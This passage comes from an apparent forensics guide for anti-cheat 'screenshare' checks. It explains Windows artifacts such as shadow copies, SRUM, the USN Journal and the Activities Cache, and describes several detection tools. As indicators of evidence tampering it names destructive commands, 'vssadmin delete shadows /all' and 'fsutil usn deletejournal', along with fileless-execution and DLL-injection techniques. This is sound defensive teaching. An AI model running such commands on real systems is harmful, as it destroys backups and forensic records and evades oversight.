tool will then search for throughout the entire dump file, allowing for targeted investigation based on suspicions arising during the screenshare. _Capabilities:_ This tool is particularly effective at finding command-line evidence related to a wide range of bypass techniques. Needless to say, commands used to perform actions such as: * DLL injections/loading via `Regsvr32.exe` or `RunDLL32.exe`. * Indicators of **Fileless Execution** (e.g., PowerShell commands using `iex`, `iwr`, `encodedcommand`). * File **Replacement** methods utilizing command-line tools like `echo` or `type`. * Executions performed via vectors like `forfiles.exe` or `wmic.exe`. * Registry key or value deletions/modifications performed via `reg.exe` commands in CMD or PowerShell. By automating the search for these critical indicators within the kernel dump, this tool significantly enhances the ability to detect sophisticated bypass attempts quickly and efficiently during a screenshare. [Previous$INDX ($i30 Index Attributes) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/indx-analysis) [NextYARA Rules](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/yara-rules) Last updated 1 year ago --- # Volume Shadow Copies (VSS) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss.md) . The **Volume Shadow Copy Service (VSS)**, also known as Volume Snapshot Service, is a technology included in Microsoft Windows that allows for the creation of point-in-time backup copies, or **snapshots**, of computer files or volumes, even while they are in use. Its primary system purposes are to facilitate the Windows System Restore feature and the "Previous Versions" functionality, which allows users to recover earlier versions of files and folders. From a DFIR perspective, Volume Shadow Copies are a forensic treasure trove. Each snapshot is a preserved, historical image of the volume at a specific moment in time. This allows analysts to effectively "travel back in time" to examine the state of the file system before evidence was altered or deleted on the live system. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#location-and-structure) Location and Structure VSS snapshots are not simple file copies; they are managed at the block level. The data for these snapshots is stored in a hidden, protected system folder at the root of the volume. * **Location:** `C:\System Volume Information` When a snapshot is created (either automatically by the system before an installation, on a schedule, or manually by a user), VSS essentially freezes the state of the volume. As files are modified on the live system, VSS uses a "copy-on-write" mechanism: before a disk block is overwritten with new data, the original data from that block is copied into the VSS storage area. This ensures that the snapshot remains a consistent and accurate representation of the volume at the time it was taken. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#stored-data-and-forensic-access) Stored Data and Forensic Access A VSS snapshot contains a historical version of the **entire volume**, including: * **Files and Directories:** Files that existed when the snapshot was taken but have since been deleted from the live file system may still be fully intact and recoverable from an older shadow copy. * **NTFS Metadata:** Older versions of critical NTFS metadata files, including the `$MFT`, `$UsnJrnl`, and `$LogFile`. * **Registry Hives:** Snapshots contain copies of all registry hives (`SYSTEM`, `SOFTWARE`, `SAM`, `NTUSER.DAT`, etc.) as they existed at that point in time. * **Event Logs:** Historical `.evtx` files can be extracted and analyzed. * **Other Forensic Artifacts:** Any file-based artifact, such as Prefetch files, browser databases, or Amcache, can be recovered from a shadow copy. Accessing VSS requires specialized tools. The built-in `vssadmin list shadows` command can enumerate existing snapshots. GUI tools like **ShadowExplorer** provide a user-friendly interface to browse the contents of a snapshot as if it were a regular drive. Advanced forensic command-line tools, such as many in the Eric Zimmerman suite (`MFTECmd`, `RECmd`, `PECmd`, etc.), often include a `--vss` switch that automatically processes all available shadow copies, integrating historical data directly into their analysis. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#forensic-value) Forensic Value VSS analysis is critical for uncovering evidence that has been subjected to anti-forensic techniques on the live system. * **Recovering Deleted Evidence:** It is one of the most powerful methods for recovering deleted files, scripts, logs, or cheat executables. If a file was deleted _after_ the most recent snapshot was created, it will likely still exist within that snapshot. * **Detecting Tampering and Clearing:** By comparing an artifact from a shadow copy with its version on the live system, an analyst can definitively prove tampering. For example, if the live `NTUSER.DAT` hive has its UserAssist keys cleared, but a `NTUSER.DAT` from a snapshot taken two hours prior shows them fully populated, this is conclusive evidence of registry clearing. * **Extending the Timeline:** VSS allows an investigation to extend beyond the data available on the live system. Older `$MFT` or `$UsnJrnl` files can provide a much longer history of file system activity. * **Bypassing Live System Locks:** Files that are locked by the operating system (like registry hives) can often be freely copied and analyzed from a mounted shadow copy. The effectiveness of VSS depends on whether it is enabled on the volume (it usually is for the system drive by default) and the frequency and retention of snapshots, which Windows manages automatically. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, VSS is the ultimate tool for defeating evidence clearing. It's the "undo" button for a cheater's anti-forensic actions. * **The Time Machine:** VSS allows an SSer to see the player's system as it was _before_ they tried to hide anything. If a player deletes their entire Prefetch folder just before the SS, a snapshot from an hour ago will likely contain all the incriminating `.pf` files. * **Conclusive Proof of Clearing:** Comparing a live artifact to its VSS version is irrefutable. Finding a cleared BAM key on the live system but a populated one in a VSS snapshot is a "case closed" scenario for evidence tampering. * **Recovering the Deleted Cheat:** This is a primary use case. If a player shift-deletes their cheat, and a recent VSS is available, the SSer can simply browse the snapshot, navigate to the cheat's original location, and recover the executable file itself. * **A High-Value, Simple Check:** While deep VSS analysis is complex, a quick check with a tool like ShadowExplorer is simple. Finding that a player manually deleted all their System Restore points (`vssadmin delete shadows /all`) just before the SS is, in itself, an extremely suspicious act of destroying potential evidence. [PreviousRecycle Bin ($Recycle.bin)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin) [NextIndex Attributes ($INDX / $i30)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/index-attributes-usdindx-usdi30) Last updated 9 months ago * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#location-and-structure) * [Stored Data and Forensic Access](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#stored-data-and-forensic-access) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss#forensic-value) --- # System Resource Usage Monitor (SRUM) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum.md) . [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#purpose-and-function) Purpose and Function ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The **System Resource Usage Monitor (SRUM)** is a feature in Windows (present from Windows 8 onwards) that provides detailed historical data on system resource consumption. Its primary purpose for the operating system is to track which applications and services are using resources like the CPU, network, and disk, which is valuable for power management and understanding application behavior over time. For DFIR analysts, SRUM is often referred to as a **"forensic goldmine"**. It maintains a rolling historical database (typically for 30-60 days) of process and network activity, making it an incredibly robust artifact that often retains evidence long after more volatile traces have been overwritten or deliberately cleared. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#location-and-structure) Location and Structure SRUM data is stored in an Extensible Storage Engine (ESE) database, a type of database format also used by Microsoft Exchange and Active Directory. * **Location:** `C:\Windows\System32\sru\SRUDB.dat` The `SRUDB.dat` file is a complex, multi-table database that is typically locked by the system while Windows is running. Analysis requires specialized forensic tools capable of parsing ESE databases. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#stored-metadata) Stored Metadata The SRUM database logs a wide array of detailed metrics for applications and services. The most forensically relevant information includes: * **Process Execution History:** It records which processes have run, including their full paths and the user context (SID) under which they were executed. This provides a longer-term execution history than artifacts like Prefetch or BAM. * **Network Activity:** This is a key feature. SRUM monitors network connectivity on a per-application basis, logging: * **Bytes Sent and Received:** The total amount of data transferred over both wired and wireless interfaces. * **Network Interface:** The specific network adapter used for the connection. * **Connection Timestamps:** When the application was connected to the network. * **Resource Consumption:** It logs metrics such as CPU time (distinguishing between foreground and background usage), disk I/O (reads and writes), and other performance counters for each application. * **Application Uptime and Focus:** Through tables like `AppTimelineProvider`, SRUM can track how long an application was in focus (i.e., the active foreground window), providing context on user interaction. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#forensic-value) Forensic Value The historical depth and breadth of data in the SRUM database make it an exceptionally powerful tool for an investigation. * **Long-Term Historical Record:** SRUM's ability to retain data for 30-60 days means it can provide evidence of activity that occurred long before an investigation began, often surviving multiple reboots and cleanup attempts. * **Detecting Network-Aware Malware:** The network monitoring capability is invaluable for identifying unauthorized applications that communicate over the network. It can prove that a specific process (e.g., a cheat loader) connected to the internet, which can be correlated with download or command-and-control (C2) activity. * **Resilience to Tampering:** While the `SRUDB.dat` file can be deleted, its absence is a highly suspicious indicator of anti-forensic activity. Unlike clearing individual Prefetch files or registry keys, wiping the entire SRUM database is a much more drastic and noticeable action. * **Correlating User and System Activity:** By combining process execution data with user SIDs and timestamps, SRUM helps analysts attribute specific activities to specific users and build a comprehensive timeline of events. Due to its complexity, command-line forensic tools like Eric Zimmerman's `SrumECmd` are the standard for parsing the database and exporting its tables into a human-readable format (like CSV) for analysis. * * * [PreviousActivities Cache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache) [NextFile System Activity](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum#forensic-value) --- # USN Journal ($UsnJrnl) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl.md) . The **Update Sequence Number (USN) Journal**, also known as the Change Journal, is an integral feature of the NTFS file system. It functions as a high-performance, chronological log that meticulously records changes made to files and directories on a volume. Its primary system purpose is to provide a fast and efficient way for applications (like indexing services, backup software, or replication engines) to track file system modifications without needing to scan the entire disk. From a DFIR perspective, the USN Journal is one of the most powerful artifacts available. It provides a detailed, time-stamped history of file system activity, often revealing actions—especially deletions and renames—that other artifacts might miss. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#location-and-structure) Location and Structure The USN Journal's data is stored within a hidden NTFS metadata file, typically inaccessible via standard interfaces. * **Location:** `C:\$Extend\$UsnJrnl` The crucial log data resides within an **Alternate Data Stream (ADS)** of this metafile named `**$J**`. The Journal itself is a log of variable-length records, each identified by a monotonically increasing 64-bit Update Sequence Number (USN). When the Journal reaches its configured maximum size, it operates in a circular fashion, overwriting the oldest records with new ones. This means the time span covered by the Journal depends heavily on disk activity levels and its allocated size. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#stored-metadata) Stored Metadata Each entry, or **USN Record**, within the `$J` stream documents a specific change event and contains a wealth of forensic information: * **Timestamp:** A high-precision timestamp indicating exactly when the event occurred. * **Filename:** The name of the file or directory that was affected by the change. * **File Reference Number (FRN):** A unique identifier that links the record to the file's entry in the Master File Table (MFT). The Parent FRN is also logged, linking the file to its parent directory. * **Reason Code:** A bitmask flag that describes the type of change(s) that occurred. These codes are the key to interpreting the Journal. Common reasons include: * `FILE_CREATE`: A file or directory was created. * `FILE_DELETE`: A file or directory was deleted. * `RENAME_OLD_NAME` / `RENAME_NEW_NAME`: A file was renamed, logging both its old and new names. * `DATA_OVERWRITE` / `DATA_EXTEND`: The file's content was modified. * `BASIC_INFO_CHANGE`: The file's attributes (e.g., Read-Only, Hidden) or `$SI` timestamps were altered. * `STREAM_CHANGE`: An Alternate Data Stream was added, removed, or modified. * `CLOSE`: The file handle was closed, often appended to other flags to signify the end of an operation. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#forensic-value) Forensic Value The USN Journal is indispensable for reconstructing the lifecycle of files and detecting anti-forensic techniques. * **Tracking File Lifecycles:** It provides a definitive, chronological sequence of events for a file: creation, renaming (both old and new names), content modification, attribute changes, and final deletion. * **Definitive Proof of Deletion:** The Journal is often the best and only source to prove that a specific file was deleted and precisely when. It retains records of deleted files until the Journal wraps, providing evidence long after the file's MFT record might have been reused. * **Detecting Renaming and Replacement:** It explicitly logs rename operations. This is crucial for detecting the "file replacement" bypass, where a malicious file is deleted and replaced by a benign one of the same name. The Journal will show the sequence: `FILE_DELETE` for the first file, followed by `FILE_CREATE` and `RENAME_NEW_NAME` for the second. * **Uncovering Attribute Manipulation:** The `BASIC_INFO_CHANGE` reason code is a powerful indicator of tampering. It is triggered by **timestomping** attempts (altering timestamps) and by applying the **Read-Only attribute** to artifacts like Prefetch files to prevent them from being updated. * **Identifying ADS Manipulation:** `STREAM_CHANGE` events can reveal the creation or modification of hidden Alternate Data Streams. Specialized tools like `fsutil.exe`, JournalTrace, or Eric Zimmerman's `MFTECmd` are required to parse the binary `$J` stream and interpret its records. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the USN Journal is the ultimate tool for exposing a player's attempts to cover their tracks. It turns the act of hiding evidence into evidence itself. * **The Anti-Bypass Artifact:** This is the Journal's primary role. If a player deletes their Prefetch folder, the Journal will contain a list of `FILE_DELETE` events for every `.pf` file. If they use the "file replacement" method, the Journal will show the exact sequence of deletion and creation. * **Exposing Prefetch Tampering:** Finding a recent `BASIC_INFO_CHANGE` event on a Prefetch file is a smoking gun. It proves the player manipulated the file's attributes, most likely by setting it to Read-Only to "freeze" its last execution time and hide recent use of a cheat. * **Confirming Deletions:** If a file appears in an execution artifact (like BAM) but is no longer on the disk, the Journal can provide the final, conclusive proof by showing the `FILE_DELETE` record for that exact file path, complete with a timestamp. * **Detecting Journal Clearing:** The act of clearing the Journal itself (`fsutil usn deletejournal`) is a highly suspicious anti-forensic technique that is logged by **Windows Event Logs (Event ID 3079)**. [PreviousMaster File Table](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table) [Next$LogFile](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile) Last updated 9 months ago * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl#forensic-value) --- # RedLotus Mod Analyzer | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer.md) . The **RedLotus Mod Analyzer** tool combines memory scanning, filesystem monitoring, and bytecode analysis to detect mod cheats, unauthorized modifications, and common mod bypass methods. #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer#presentation-and-showcase) 📺 Presentation & Showcase [![Mod Analyzer Showcase](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2Fimg.youtube.com%2Fvi%2FWzYlw8FagrA%2F0.jpg&width=300&dpr=3&quality=100&sign=4bc1b62f&sv=2)](https://youtu.be/WzYlw8FagrA) > _Click the image above to watch the tool showcase._ * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer#interface-and-key-features) ⚙️ Interface & Key Features The tool offers two primary scanning modes via an intuitive GUI: * **MEMORY SCAN:** Automatically detects the running `javaw.exe` process and scans mods currently loaded in memory, catching file-renaming / deletion bypasses. * **DISK SCAN:** Allows manual selection of a specific `mods` folder from the disk for static analysis. **Dashboard Features** * **Search & Filter:** Instantly locate specific mods by name or toggle views to focus on `Unverified`, `Not Found`, or `Detected` entries. * **Smart Alerts:** Visual warnings (⚠) appear if the mods folder was modified **after** the game started, signaling potential "self-destruct" or "hide" tactics. * **Download Source:** Automatically detects and displays the origin URL (e.g., CurseForge, Modrinth) for verified mods if present. * **Mod Details:** Double-clicking any row opens a detailed popup containing file hashes, full paths, and deep analysis data. **USN Journal Monitoring** Advanced filesystem tracking detects evasion attempts in real-time: * **Deleted/Moved Mods:** Files removed or moved out of the folder appear as **MOD NOT FOUND** entries in red. * **Modified Mods:** Files altered during runtime are highlighted in **bold orange**. * **Detailed Logs:** View a complete timeline of file events (Create, Delete, Move/Rename, Modify) with precise timestamps. * **Smart Filtering:** Journal checks only show modifications that occurred _after_ Minecraft started (Memory Scan) or _after_ system boot (Disk Scan), preventing false positives. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer#advanced-detection-capabilities) 🛡️ Advanced Detection Capabilities The **Dynamic Detection Engine** analyzes raw bytecode directly from memory and has been calibrated against over 800 known cheat packages sent to me by RedLotus contributors and staff: * **Combat Modules:** Scans for 175+ unique signatures associated with KillAura, Velocity, Reach, and AutoClicker patterns. * **Structural Fingerprints:** Identifies 47+ unique patterns revealing hidden "Module Managers" and known cheat architectures. * **Obfuscation Analysis:** Detects heavy obfuscation (e.g., >30% single-letter classes) and flow obfuscation techniques often used to hide malicious code. * **Native Injection:** Flags suspicious JNI injection vectors and unauthorized native libraries (`.dll` / `.so`) hidden within JAR files. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer#technical-optimizations) 🚀 Technical Optimizations Engineered for maximum performance and stability during live checks: * **In-Memory Analysis:** Uses `miniz` to decompress and analyze JAR files directly in RAM. This eliminates temporary files, resolves file lock/permission issues, and speeds up scanning by **10x-50x**. * **Parallel Scanning:** Utilizes multithreading to analyze multiple mods simultaneously, scaling performance linearly with CPU cores. * **Smart Caching:** Implements transient caching to provide instant results for files that haven't changed since the last scan. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer#download) 🔗 Download **Link:** [Download via RedLotus GitHub / Tool Downloader](https://github.com/ItzIceHere/RedLotus-Mod-Analyzer/releases/download/RL/RedLotusModAnalyzer.exe) [PreviousRedLotus Task Sentinel](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel) [NextRedLotus Alt Checker](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-alt-checker) Last updated 4 months ago --- # Spokwn Powershell Scripts | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/spokwn-powershell-scripts.md) . This repository contains various PowerShell scripts developed by Spokwn. Link: `https://github.com/spokwn/powershells` [Previousprocess-parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/process-parser) [NextStreams Script](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/streams-script) Last updated 1 year ago --- # Paths Parser | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/paths-parser.md) . **Description:** A comprehensive tool designed to analyze lists of file paths provided in specific `.txt` files (`search results.txt`, `paths.txt`, `p.txt`). It performs multiple checks on each valid path found, automating several analysis steps. **Features:** * **Path Parsing:** Correctly handles and parses file paths, including those with the `\\?\` prefix. Reads paths line by line from specified input text files. * **File Existence Check:** Determines if the file at the given path currently exists or has been deleted (reports "Deleted" status). * **Digital Signature Verification:** Checks both Authenticode and Catalog signatures. Reports status as "Signed", "Not signed", or specific error states. Includes special detection for known signed cheats like Slinky and Vape. * **Generic Detections:** Applies a suite of 27 different "generic" checks (heuristics) designed to flag suspicious characteristics often found in malicious software or cheats. Categories include checks for autoclickers (A), non-C# protection (B), C# protection (C/D/E), packed executables (F), injectors (G), and specific known cheats (Specific A/B). * **Replacement Check:** Queries the USN Journal for each existing file path to identify potential file replacement patterns (specifically looks for sequences related to Explorer moves, `copy` command usage, or `type` command overwrites). * **YARA Integration:** Allows users to integrate their own custom `.yar` rules for scanning. * **Output:** Displays analysis results (existence, signature, generics hits) for each path in the console. Writes a summary of any detected file replacements to `replaces.txt` in the program's directory. **Usage Notes & Caveats:** * Generics A2 (DLL clickers) and the F-series (packed files) are noted as potentially causing occasional false positives but are kept active to maximize detection of actual cheats. * Carefully examine the timestamps associated with any detected replacements, as legitimate file updates can sometimes trigger these patterns. * Paths corresponding to deleted files might appear incomplete or "cut" due to how memory artifacts or the parsing process handles non-existent files. **Usage:** A powerful tool for batch-analyzing file paths gathered from other tools (like System Informer string dumps) or logs, providing signature status, existence checks, heuristic-based suspicion levels, and detection of potential file replacements. Especially useful for quickly assessing lists of DLLs or EXEs found in memory. **Link:** `https://github.com/spokwn/PathsParser/releases` [PreviousSpok's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools) [NextBAM parser](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/bam-parser) Last updated 1 year ago --- # ActivitiesCache Script | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/activitiescache-script.md) . **Description:** A PowerShell script that automates the parsing of the Windows Activities Cache database. It downloads a dedicated parser executable (`ActivitiesCacheParser.exe` from Spokwn's GitHub) to perform the analysis. **Requirements:** Must be run with Administrator privileges. **Features:** * Downloads the necessary `ActivitiesCacheParser.exe` to the temporary directory. * Invokes the parser to extract data into a temporary `activities.txt` file. * Retrieves the oldest user logon time (for interactive logons, type 2 or 10) to use as a filter. * Parses the output file, filtering for activities that occurred after the oldest retrieved logon time. * For each relevant activity, it extracts and formats: * Application Path/Name. * Digital Signature status. * Generics detected by the parser (formatted with flags like \[GenericName\]). * StartTime and EndTime of the activity. * Displays the formatted results directly in the PowerShell console. * Cleans up by removing the downloaded parser and the temporary output file upon completion. **Usage Hint:** Useful for quickly reviewing recent user application activity logged in the Activities Cache, filtered to the current user session. [PreviousStreams Script](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools/streams-script) [NextRancio's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/rancios-tools) Last updated 1 year ago --- # Activities Cache | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#purpose-and-function) Purpose and Function The **Activities Cache** is a key component of the **Windows Timeline** feature, introduced in Windows 10 (version 1803) and present in Windows 11. The primary goal of this feature is to create a rich, chronological history of a user's activities—such as applications launched, documents opened, and websites visited—allowing the user to seamlessly resume tasks across different sessions and even different devices linked to the same Microsoft Account. From a DFIR perspective, the `ActivitiesCache.db` database is an exceptionally detailed artifact. It provides a user-centric log of system interactions, offering deep context about not just _what_ applications were run, but _how_ and _for how long_ they were used, often linking them to specific files or resources. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#location-and-dependencies) Location and Dependencies The Activities Cache is stored as an SQLite database file within each user's profile. * **Location:** `C:\Users\%username%\AppData\Local\ConnectedDevicesPlatform\{UserProfile_ID}\ActivitiesCache.db` The population and accessibility of this artifact are dependent on several system settings and services: * **System Settings:** The user must have "Activity history" enabled in their Windows privacy settings. * **System Services:** The "Connected User Experiences and Telemetry" service (also known as `DiagTrack`) must generally be running for the database to be actively populated. * **Encryption:** Depending on system configuration and user account settings, the database content may be encrypted, requiring forensic tools that can handle decryption. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#stored-metadata) Stored Metadata As an SQLite database, `ActivitiesCache.db` contains multiple tables that store a wealth of structured information. Key metadata found within includes: * **Application Information:** The name and path of the application that generated the activity (e.g., `javaw.exe`, `explorer.exe`). * **Activity Type:** The nature of the user's interaction (e.g., `UserEngaged`, `Open`). * **Focus Time:** Detailed timestamps indicating the `StartTime` and `EndTime` of an activity, which can be used to calculate how long an application was in the foreground. * **Display Text and Content:** Rich contextual information, such as the window title of the application, the name of the document being edited, or the URL of the website being visited. * **Payload Data:** Often a JSON blob containing detailed, application-specific information about the activity, which can include full file paths or other unique identifiers. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#forensic-value) Forensic Value The Activities Cache provides a uniquely comprehensive view of a user's workflow, making it invaluable for reconstructing a sequence of events. * **Rich Timeline:** It offers a more detailed and context-aware timeline than many other execution artifacts. It doesn't just show that a program was run; it can show that a user opened a specific file with that program and worked on it for a specific duration. * **Corroboration of User Intent:** The data can help establish user intent. For example, it might show a user opening a web browser, navigating to a cheat website, downloading a file, opening a `.zip` archive, and then launching an executable from within it—all as a series of connected activities. * **Persistence:** The database can retain activity history for a significant period (typically up to 30 days by default), preserving evidence that might be cleared from more volatile artifacts. * **Recovery of Deleted File Traces:** It can contain references (e.g., display text or payload data) to files that have since been deleted from the filesystem, proving their prior existence and use. The complexity of the database, coupled with potential encryption, means that specialized forensic tools are the recommended method for analysis. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the Activities Cache can be the source that ties all other pieces of evidence together into an undeniable story. * **Building a Narrative:** This is its greatest strength in an SS. You're not just presenting isolated artifacts; you're showing a step-by-step narrative of the player's actions. For example: "At 15:10, your browser activity shows you visited `cheats.com`. At 15:12, an activity for WinRAR shows you opened `SuperAim.zip`. At 15:13, this database shows the execution of `SuperAim.exe`." * **Dependency Check:** During a check, if this artifact is missing data when it should be active, it could be a sign that the user has deliberately disabled activity history tracking in their privacy settings—a suspicious act in itself. [PreviousRecentFileCache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache) [NextSystem Resource Usage Monitor (SRUM)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#purpose-and-function) * [Location and Dependencies](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#location-and-dependencies) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache#forensic-value) --- # Temporary Files (%temp%) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#purpose-and-function) Purpose and Function The **Temporary Files folder**, commonly accessed via the `%temp%` environment variable, is a designated directory used by the Windows operating system and various applications to store transient data. Its primary purpose is to hold files that are needed for a short period during an application's operation, installation, or a specific system task. This can include cache files, temporary copies of documents being edited, installation logs, or files extracted from compressed archives. From a DFIR perspective, the `%temp%` folder is a crucial location to search for artifacts related to recent user activity. Because it is a common, user-writable location, it is frequently used by legitimate and malicious software alike as a scratchpad, often leaving behind valuable evidence. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp#location-and-structure) Location and Structure Each user on a Windows system has their own temporary folder, ensuring that an application's temporary data is isolated to the user running it. * **Location:** `%LOCALAPPDATA%\Temp` * This typically resolves to: `C:\Users\%username%\AppData\Local\Temp` The folder itself is a standard directory containing a mix of files and subdirectories created by numerous different processes. The contents can be vast and often appear chaotic, requiring a targeted approach to analysis, usually by sorting by "Date Modified" to focus on the most recent items. ### 